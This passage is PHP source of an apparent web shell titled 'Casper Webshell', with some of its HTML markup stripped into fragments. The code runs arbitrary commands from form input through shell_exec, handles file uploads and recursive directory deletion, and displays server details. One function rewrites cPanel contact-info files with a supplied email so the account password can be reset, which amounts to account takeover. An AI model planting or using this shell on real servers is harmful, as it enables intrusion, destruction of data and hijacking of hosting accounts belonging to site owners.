File uploaded successfully!
";
} else {
echo "Failed to move uploaded file.
";
}
} else {
echo "Error uploading file: " . $file['error'] . "
";
}
}
break;
case 'execute':
if (isset($_POST['command'])) {
$command = $_POST['command'];
// Execute the command and capture the output
$output = shell_exec($command . ' 2>&1'); // Redirect stderr to stdout
}
break;
}
}
function deleteDirectory($dir) {
if (!is_dir($dir)) {
return false;
}
$items = array_diff(scandir($dir), array('.', '..'));
foreach ($items as $item) {
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
deleteDirectory($path);
} else {
unlink($path);
}
}
return rmdir($dir);
}
function reset_cpanel_password($email) {
$user = get_current_user();
$site = $_SERVER['HTTP_HOST'];
$resetUrl = $site . ':2082/resetpass?start=1';
$wr = 'email:' . $email;
$f = fopen('/home/' . $user . '/.cpanel/contactinfo', 'w');
fwrite($f, $wr);
fclose($f);
$f = fopen('/home/' . $user . '/.contactinfo', 'w');
fwrite($f, $wr);
fclose($f);
echo '
Password reset link: ' . $resetUrl . '';
echo '
Username: ' . $user . '';
}
if (isset($_POST['cpanel_reset'])) {
$email = $_POST['email'];
reset_cpanel_password($email);
}
$username = get_current_user();
$user = $_SERVER['USER'] ?? 'N/A';
$phpVersion = phpversion();
$dateTime = date('Y-m-d H:i:s');
$hddFreeSpace = disk_free_space("/") / (1024 * 1024 * 1024); // in GB
$hddTotalSpace = disk_total_space("/") / (1024 * 1024 * 1024); // in GB
$serverIP = $_SERVER['SERVER_ADDR'];
$clientIP = $_SERVER['REMOTE_ADDR'];
$cwd = getcwd();
$parentDirectory = dirname($directory);
$breadcrumbs = explode(DIRECTORY_SEPARATOR, $directory);
$breadcrumbLinks = [];
$breadcrumbPath = '';
foreach ($breadcrumbs as $crumb) {
$breadcrumbPath .= $crumb . DIRECTORY_SEPARATOR;
$breadcrumbLinks[] = '' . htmlspecialchars($crumb) . '';
}
$breadcrumbLinksString = implode(' / ', $breadcrumbLinks);
?>
Casper Webshell
Casper Webshell
Current User:
Server IP:
Client IP:
Current Date and Time:
PHP Version:
Free HDD Space: GB
Total HDD Space: GB
Name |
Size |
Type |
Actions |
' : '';
?>
|
|
|
|